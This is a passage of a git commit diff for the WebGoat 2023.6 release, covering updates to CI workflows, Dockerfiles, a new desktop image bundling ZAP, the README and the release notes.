chore: release 2023.6

Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.2.0 to 1.3.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.2.0...v1.3.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

.dockerignore

@@ -1,3 +1,4 @@
 **
 
 !/target
+!/config/desktop

.github/dependabot.yml

@@ -1,7 +1,17 @@
 version: 2
 updates:
-  # Maintain dependencies for GitHub Actions
+    -   package-ecosystem: "github-actions"
-  - package-ecosystem: "github-actions"
+        directory: "/"
-    directory: "/"
+        schedule:
-    schedule:
+            interval: "weekly"
-      interval: "daily"
+    -   package-ecosystem: "maven"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+        ignore:
+          - dependency-name: "org.webjars:bootstrap" # First the WebWolf UI needs to be refactored due to breaking changes
+    -   package-ecosystem: "docker"
+        directory: "/"
+        schedule:
+            interval: "weekly"
+

.github/workflows/branchbuild.yml

@@ -0,0 +1,54 @@
+name: "Branch build"
+on:
+    push:
+      branches:
+        - "*"
+        - "!main"
+
+jobs:
+    branch-build:
+        runs-on: ${{ matrix.os }}
+        strategy:
+            matrix:
+                os: [ ubuntu-latest, windows-latest, macos-latest ]
+                java-version: [ 17, 21 ]
+        steps:
+            -   uses: actions/checkout@v3
+            -   name: Set up JDK ${{ matrix.java-version }}
+                uses: actions/setup-java@v4
+                with:
+                    distribution: 'temurin'
+                    java-version: ${{ matrix.java-version }}
+                    architecture: x64
+            -   name: Cache Maven packages
+                uses: actions/cache@v3.3.1
+                with:
+                    path: ~/.m2
+                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+                    restore-keys: ${{ runner.os }}-m2-
+            -   name: Build with Maven
+                run: mvn --no-transfer-progress verify
+            -   name: "Set up QEMU"
+                if: runner.os == 'Linux'
+                uses: docker/setup-qemu-action@v2.2.0
+            -   name: "Set up Docker Buildx"
+                if: runner.os == 'Linux'
+                uses: docker/setup-buildx-action@v2
+            -   name: "Verify Docker WebGoat build"
+                if: runner.os == 'Linux'
+                uses: docker/build-push-action@v5.1.0
+                with:
+                    context: ./
+                    file: ./Dockerfile
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+            -   name: "Verify Docker WebGoat desktop build"
+                uses: docker/build-push-action@v5.1.0
+                if: runner.os == 'Linux'
+                with:
+                    context: ./
+                    file: ./Dockerfile_desktop
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} 

.github/workflows/build.yml

@@ -1,68 +1,60 @@
-name: "Build"
+name: "Pull requests build"
 on:
-  pull_request:
+    pull_request:
-    paths-ignore:
+        paths-ignore:
-      - '.txt'
+            - '.txt'
-      - 'LICENSE'
+            - 'LICENSE'
-      - 'docs/**'
+            - 'docs/**'
-  push:
-    branches:
-      - main
-      - develop
-      - release/*
-    tags-ignore:
-      - '*'
-    paths-ignore:
-      - '.txt'
-      - 'LICENSE'
-      - 'docs/**'
 
 jobs:
-  pr-build:
+    pr-build:
-    if: >
+        if: >
-      github.event_name == 'pull_request' && !github.event.pull_request.draft && (
+            github.event_name == 'pull_request' && !github.event.pull_request.draft && (
-        github.event.action == 'opened' ||
+              github.event.action == 'opened' ||
-        github.event.action == 'reopened' ||
+              github.event.action == 'reopened' ||
-        github.event.action == 'synchronize' 
+              github.event.action == 'synchronize' 
-      )
+            )
-    runs-on: ${{ matrix.os }}
+        runs-on: ${{ matrix.os }}
-    strategy:
+        strategy:
-      matrix:
+            matrix:
-        os: [ubuntu-latest, windows-latest, macos-latest]
+                os: [ ubuntu-latest, windows-latest, macos-latest ]
-    steps:
+        steps:
-      - uses: actions/checkout@v3
+            -   uses: actions/checkout@v3
-      - name: Set up JDK 17
+            -   name: Set up JDK 17
-        uses: actions/setup-java@v3
+                uses: actions/setup-java@v4
-        with:
+                with:
-          distribution: 'temurin'
+                    distribution: 'temurin'
-          java-version: 17
+                    java-version: 17
-          architecture: x64
+                    architecture: x64
-      - name: Cache Maven packages
+            -   name: Cache Maven packages
-        uses: actions/cache@v3.2.3
+                uses: actions/cache@v3.3.1
-        with:
+                with:
-          path: ~/.m2
+                    path: ~/.m2
-          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-          restore-keys: ${{ runner.os }}-m2-
+                    restore-keys: ${{ runner.os }}-m2-
-      - name: Build with Maven
+            -   name: Build with Maven
-        run: mvn --no-transfer-progress verify
+                run: mvn --no-transfer-progress verify
-
+            -   name: "Set up QEMU"
-  build:
+                if: runner.os == 'Linux'
-    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
+                uses: docker/setup-qemu-action@v2.2.0
-    runs-on: ubuntu-latest
+            -   name: "Set up Docker Buildx"
-    name: "Branch build"
+                if: runner.os == 'Linux'
-    steps:
+                uses: docker/setup-buildx-action@v3
-        - uses: actions/checkout@v3
+            -   name: "Verify Docker WebGoat build"
-        - name: set up JDK 17
+                if: runner.os == 'Linux'
-          uses: actions/setup-java@v3
+                uses: docker/build-push-action@v5.1.0
-          with:
+                with:
-              distribution: 'temurin'
+                    context: ./
-              java-version: 17
+                    file: ./Dockerfile
-              architecture: x64
+                    push: false
-        - name: Cache Maven packages
+                    build-args: |
-          uses: actions/cache@v3.2.3
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
-          with:
+            -   name: "Verify Docker WebGoat desktop build"
-              path: ~/.m2
+                uses: docker/build-push-action@v5.1.0
-              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+                if: runner.os == 'Linux'
-              restore-keys: ubuntu-latest-m2-
+                with:
-        - name: Test with Maven
+                    context: ./
-          run: mvn --no-transfer-progress verify
+                    file: ./Dockerfile_desktop
+                    push: false
+                    build-args: |
+                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} 

.github/workflows/release.yml

@@ -13,19 +13,15 @@ jobs:
     steps:
       - uses: actions/checkout@v3
 
-      - name: "Get tag name"
-        id: tag
-        uses: dawidd6/action-get-tag@v1
-
       - name: Set up JDK 17
-        uses: actions/setup-java@v3
+        uses: actions/setup-java@v4
         with:
-          distribution: 'zulu'
+          distribution: 'temurin'
           java-version: 17
           architecture: x64
 
       - name: Cache Maven packages
-        uses: actions/cache@v3.2.3
+        uses: actions/cache@v3.3.1
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@@ -33,8 +29,8 @@ jobs:
 
       - name: "Set labels for ${{ github.ref }}"
         run: |
-          echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
+          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
-          WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
+          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
           echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
       - name: Build with Maven
         run: |
@@ -48,7 +44,7 @@ jobs:
           files: |
             target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
           body: |
-            ## Version ${{ steps.tag.outputs.tag }}
+           ## Version ${{ github.ref_name }} 
 
             ### New functionality
 
@@ -58,7 +54,7 @@ jobs:
 
             - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
               
-            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}  
+            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}  
 
 
             ## Contributors
@@ -76,21 +72,21 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
       - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v2.1.0
+        uses: docker/setup-qemu-action@v2.2.0
         with:
           platforms: all
 
       - name: "Set up Docker Buildx"
-        uses: docker/setup-buildx-action@v2
+        uses: docker/setup-buildx-action@v3
 
       - name: "Login to dockerhub"
-        uses: docker/login-action@v2.1.0
+        uses: docker/login-action@v3.0.0
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
-      - name: "Build and push"
+      - name: "Build and push WebGoat"
-        uses: docker/build-push-action@v3.2.0
+        uses: docker/build-push-action@v5.1.0
         with:
           context: ./
           file: ./Dockerfile
@@ -102,37 +98,51 @@ jobs:
           build-args: |
             webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
 
-      - name: "Image digest"
+      - name: "Build and push WebGoat desktop"
-        run: echo ${{ steps.docker_build.outputs.digest }}
+        uses: docker/build-push-action@v5.1.0
+        with:
+          context: ./
+          file: ./Dockerfile_desktop
+          push: true
+          platforms: linux/amd64, linux/arm64
+          tags: |
+            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat-desktop:latest
+          build-args: |
+            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
   new_version:
-    permissions:
-      contents: write  # for Git to git push
     if: github.repository == 'WebGoat/WebGoat'
-    name: Update development version
+    name: Update to next SNAPSHOT version
     needs: [ release ]
     runs-on: ubuntu-latest
-    environment:
-      name: release
     steps:
       - uses: actions/checkout@v3
         with:
-          ref: develop
+          fetch-depth: 0
-          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
 
       - name: Set up JDK 17
-        uses: actions/setup-java@v3
+        uses: actions/setup-java@v4
         with:
+          distribution: 'temurin'
           java-version: 17
           architecture: x64
 
       - name: Set version to next snapshot
         run: |
-          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
+
+      - name: Push the changes to new branch
+        uses: devops-infra/action-commit-push@v0.9.2
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            add_timestamp: true
+            commit_message: "Updating to the new development version"
+            force: false
+
+      - name: Create PR
+        uses: devops-infra/action-pull-request@v0.5.5
+        with:
+            github_token: "${{ secrets.GITHUB_TOKEN }}"
+            title: ${{ github.event.commits[0].message }}
+            target_branch: main
 
-      - name: Commit pom.xml
-        run: |
-          git config user.name webgoat-github
-          git config user.email owasp.webgoat@gmail.com
-          find . -name 'pom.xml' | xargs git add
-          git commit -m "Updating to the new development version"
-          git push

.github/workflows/test.yml

@@ -2,14 +2,11 @@ name: "UI-Test"
 on:
     pull_request:
         paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
             - 'LICENSE'
             - 'docs/**'
     push:
-#        tags-ignore:
+        tags-ignore:
-#            - '*'
+            - 'v*'
         paths-ignore:
             - '.txt'
             - '*.MD'
@@ -24,45 +21,47 @@ jobs:
         name: "Robot framework test"
         steps:
             # Uses an default action to checkout the code
-            - uses: actions/checkout@v3
+            -   uses: actions/checkout@v3
             # Uses an action to add Python to the VM
-            - name: Setup Pyton
+            -   name: Setup Pyton
-              uses: actions/setup-python@v4
+                uses: actions/setup-python@v4
-              with:
+                with:
-                  python-version: '3.7'
+                    python-version: '3.7'
-                  architecture: x64
+                    architecture: x64
             # Uses an action to add JDK 17 to the VM (and mvn?)
-            - name: set up JDK 17
+            -   name: set up JDK 17
-              uses: actions/setup-java@v3
+                uses: actions/setup-java@v4
-              with:
+                with:
-                  distribution: 'temurin'
+                    distribution: 'temurin'
-                  java-version: 17
+                    java-version: 17
-                  architecture: x64
+                    architecture: x64
             #Uses an action to set up a cache using a certain key based on the hash of the dependencies
-            - name: Cache Maven packages
+            -   name: Cache Maven packages
-              uses: actions/cache@v3.2.3
+                uses: actions/cache@v3.3.1
-              with:
+                with:
-                  path: ~/.m2
+                    path: ~/.m2
-                  key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+                    key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-                  restore-keys: ubuntu-latest-m2-
+                    restore-keys: ubuntu-latest-m2-
-            - uses: BSFishy/pip-action@v1
+            -   uses: BSFishy/pip-action@v1
-              with:
+                with:
-                  packages: |
+                    packages: |
-                      robotframework
+                        robotframework
-                      robotframework-SeleniumLibrary
+                        robotframework-SeleniumLibrary
-                      webdriver-manager
+                        webdriver-manager
-            - name: Run with Maven
+                        selenium==4.9.1
-              run: mvn --no-transfer-progress spring-boot:run &
+                    # TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
-            - name: Wait to start
+            -   name: Run with Maven
-              uses: ifaxity/wait-on-action@v1
+                run: mvn --no-transfer-progress spring-boot:run &
-              with:
+            -   name: Wait to start
-                  resource: http://127.0.0.1:8080/WebGoat
+                uses: ifaxity/wait-on-action@v1
-            - name: Test with Robotframework
+                with:
-              run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
+                    resource: http://127.0.0.1:8080/WebGoat
+            -   name: Test with Robotframework
+                run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
             # send report to forks only due to limits on permission tokens
-            - name: Send report to commit
+            -   name: Send report to commit
-              if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
+                if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
-              uses: joonvena/robotframework-reporter-action@v2.1
+                uses: joonvena/robotframework-reporter-action@v2.2
-              with:
+                with:
-                  gh_access_token: ${{ secrets.GITHUB_TOKEN }}
+                    gh_access_token: ${{ secrets.GITHUB_TOKEN }}
-                  report_path: 'robotreport'
+                    report_path: 'robotreport'

.github/workflows/welcome.yml

@@ -10,7 +10,7 @@ jobs:
     if: github.repository == 'WebGoat/WebGoat'
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/first-interaction@v1.1.1
+      - uses: actions/first-interaction@v1.3.0
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

CONTRIBUTING.md

@@ -3,6 +3,7 @@
 [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
 ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
 ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 This document describes how you can contribute to WebGoat. Please read it carefully.
 
@@ -41,6 +42,19 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
 
 ### Write a good commit message
 
+* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
+
+  - fix:
+  - feat:
+  - build:
+  - chore:
+  - ci:
+  - docs:
+  - refactor:
+  - test:
+
+  Using this style of commits makes it possible to create our release notes automatically.
+
 * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
 
 * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
@@ -86,7 +100,7 @@ For example: `Fix #545` or `Closes #10`
 
     ```bash
     $ git fetch upstream
-    $ git merge upstream/develop
+    $ git merge upstream/main
     ```
 
     See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

CREATE_RELEASE.md

@@ -2,31 +2,20 @@
 
 ### Version numbers
 
-For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
+For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
-and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
+and 2023.01 in the `pom.xml`.
-`v8.0.0` in the `pom.xml`
 
 ### Release notes:
 
-Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
+Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
-committers.
+committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
-
-At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
 
 ```
-git checkout develop
+mvn versions:set 
-git flow release start <version>
+<< update release notes >>
-git flow release publish
+mvn verify
-
+git commit ....
-<<Make changes if necessary>>
+git tag v2023.01 
-<<Update RELEASE_NOTES.md>>
-
-git flow release finish <version>
-git push origin develop
-git push origin main
 git push --tags
 ```
 
-Now Travis takes over and will create the release in Github and on Docker Hub.
-
-NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version

Dockerfile

@@ -1,8 +1,11 @@
-FROM docker.io/eclipse-temurin:17-jre-focal
+FROM docker.io/eclipse-temurin:21-jdk-ubi9-minimal
+LABEL NAME = "WebGoat: A deliberately insecure Web Application"
+MAINTAINER "WebGoat team"
 
-RUN useradd -ms /bin/bash webgoat
+RUN \
-RUN chgrp -R 0 /home/webgoat
+  useradd -ms /bin/bash webgoat && \
-RUN chmod -R g=u /home/webgoat
+  chgrp -R 0 /home/webgoat && \
+  chmod -R g=u /home/webgoat
 
 USER webgoat
 
@@ -11,6 +14,8 @@ COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
 EXPOSE 8080
 EXPOSE 9090
 
+ENV TZ=Europe/Amsterdam
+
 WORKDIR /home/webgoat
 ENTRYPOINT [ "java", \
    "-Duser.home=/home/webgoat", \
@@ -24,9 +29,7 @@ ENTRYPOINT [ "java", \
    "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
    "--add-opens", "java.base/java.io=ALL-UNNAMED", \
    "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
    "-Drunning.in.docker=true", \
-   "-Dwebgoat.host=0.0.0.0", \
+   "-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
-   "-Dwebwolf.host=0.0.0.0", \
-   "-Dwebgoat.port=8080", \
-   "-Dwebwolf.port=9090", \
-   "-jar", "webgoat.jar" ]

Dockerfile_desktop

@@ -0,0 +1,34 @@
+FROM lscr.io/linuxserver/webtop:ubuntu-xfce
+LABEL NAME = "WebGoat: A deliberately insecure Web Application"
+MAINTAINER "WebGoat team"
+
+WORKDIR /config
+
+COPY target/webgoat-*.jar /config/webgoat.jar
+COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
+COPY config/desktop/start_zap.sh /config/start_zap.sh
+COPY config/desktop/WebGoat.txt /config/Desktop/
+
+RUN \
+ case $(uname -m) in \
+  x86_64) ARCH=x64;; \
+  aarch64) ARCH=aarch64;; \
+  *) ARCH=unknown;; \
+ esac && \
+ curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
+ tar zfxv ZAP_2.12.0_Linux.tar.gz && \
+ rm -rf ZAP_2.12.0_Linux.tar.gz && \
+ curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
+ tar zfxv OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
+ rm -rf OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
+ chmod +x /config/start_webgoat.sh && \
+ chmod +x /config/start_zap.sh && \
+ apt-get update &&  \
+ apt-get --yes install vim nano && \
+ echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
+ echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
+
+
+ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
+
+WORKDIR /config/Desktop

FAQ.md

@@ -0,0 +1,8 @@
+# FAQ for development
+
+## Introduction
+
+### Integration tests fail
+
+Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.
+

README.md

@@ -1,4 +1,4 @@
-# WebGoat 8: A deliberately insecure Web Application
+# WebGoat: A deliberately insecure Web Application
 
 [![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
 [![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
@@ -6,6 +6,7 @@
 [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
 [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
 [![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
+[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 # Introduction
 
@@ -27,51 +28,68 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*
 
+![WebGoat](docs/images/webgoat.png)
+
 # Installation instructions:
 
 For more details check [the Contribution guide](/CONTRIBUTING.md)
 
 ## 1. Run using Docker
 
+Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
+
 Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
 
-The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
-
 ```shell
-docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
 ```
 
-If you want to reuse the container, give it a name:
+For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
+E.g.
 
 ```shell
-docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
 ```
 
-As long as you don't remove the container you can use:
+If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
+you can use custom host entries. For example:
 
 ```shell
-docker start webgoat
+127.0.0.1 www.webgoat.local www.webwolf.local
 ```
 
-This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
+Then you can run the container with:
 
-**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
+```
 
-## 2. Standalone
+Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
+
+## 2. Run using Docker with complete Linux Desktop
+
+Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
+
+```shell
+docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
+```
+
+## 3. Standalone
 
 Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
 
 ```shell
-java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
+export TZ=Europe/Amsterdam # or your timezone
+java -Dfile.encoding=UTF-8 -jar webgoat-2023.5.jar
 ```
 
 Click the link in the log to start WebGoat.
 
-## 3. Run from the sources
+## 4. Run from the sources
 
 ### Prerequisites:
 
-* Java 17
+* Java 17 or 21
 * Your favorite IDE
 * Git, or Git support in your IDE
 
@@ -96,7 +114,7 @@ git checkout <<branch_name>>
 docker build -f Dockerfile . -t webgoat/webgoat
 ```
 
-Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
+Now we are ready to run the project. WebGoat is using Spring Boot.
 
 ```Shell
 # On Linux/Mac:
@@ -123,14 +141,15 @@ For specialist only. There is a way to set up WebGoat with a personalized menu.
 For instance running as a jar on a Linux/macOS it will look like this:
 
 ```Shell
+export TZ=Europe/Amsterdam # or your timezone
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar target/webgoat-2023.3-SNAPSHOT.jar
+java -jar target/webgoat-2023.6-SNAPSHOT.jar
 ```
 
 Or in a docker run it would (once this version is pushed into docker hub) look like this:
 
 ```Shell
-docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
 ```
 

RELEASE_NOTES.md

@@ -1,5 +1,73 @@
 # WebGoat release notes
 
+## Version 2023.6
+
+### 🚀 New functionality
+
+- Consistent environment values and url references (#1677)
+- Show directly requested file in requests overview
+- Show creating time in file upload overview
+
+### 🐞 Bug fixes
+
+- Fix startup message (#1687)
+- Fix/state of software supply chain links (#1683)
+- Fix WebWolf UI (#1686)
+
+### 🔄 Technical tasks
+
+- bump actions/setup-java from 3 to 4 (#1690)
+- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
+- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
+
+## Version 2023.5
+
+### New functionality
+
+- Implement JWT jku example (#1552)
+- Java 21 initial support (#1622)
+- improve MFAC lesson hint texts for a better user experience (#1424)
+- upgrade to Spring Boot version 3 (#1477)
+
+### Bug fixes
+
+- typo in WebGoad.txt (#1667)
+- search box moved and jwt encode/decode with little delay (#1664)
+- skip validation for JWT (#1663)
+- fixed issue in JWT test tool and added robot test (#1658)
+- Password reset link test condition more strict and move all WebWolf links to /WebWolf  (#1645)
+- fix servers id (#1619)
+- potential NPE in the stored XSS assignment
+- crypto basics broken links
+- fixes the default change in trailing slash matching and address the affected assignments
+- hint that was breaking the template, causing hints from different assignments to mix (#1424)
+- HijackSession lesson template deprecated Tymeleaf attribute
+- Fix NPE in IDOR lesson
+- Add new assignment IT tests
+- XSS mitigation
+- Stored Cross-Site Scripting Lesson
+- Add Assignment7 Tests
+- Fix IDOR lesson
+- remove steps from release script (#1509)
+- robotframework fails due to updated dependencies (#1508)
+- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
+- Fix typo of HijackSession_content0.adoc
+- Restrict SSRF Regexes
+- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the FlagController
+
+## Version 2023.4
+
+### New functionality
+
+- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
+- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
+
+### Bug fixes
+
+- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
+- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
+- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
+
 ## Version 2023.3
 
 With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).

config/desktop/WebGoat.txt

@@ -0,0 +1,10 @@
+** Welcome to WebGoat desktop image
+
+With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
+You can start WebGoat and ZAP by opening a terminal and type:
+
+./start_webgoat.sh
+./start_zap.sh
+
+Happy hacking,
+Team WebGoat

config/desktop/start_webgoat.sh

@@ -0,0 +1,17 @@
+#!/bin/sh
+
+/config/jdk-17.0.6+10-jre/bin/java \
+  -Duser.home=/config \
+  -Dfile.encoding=UTF-8 \
+  -DTZ=Europe/Amsterdam \
+  --add-opens java.base/java.lang=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
+  --add-opens java.base/java.text=ALL-UNNAMED \
+  --add-opens java.desktop/java.beans=ALL-UNNAMED \
+  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
+  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
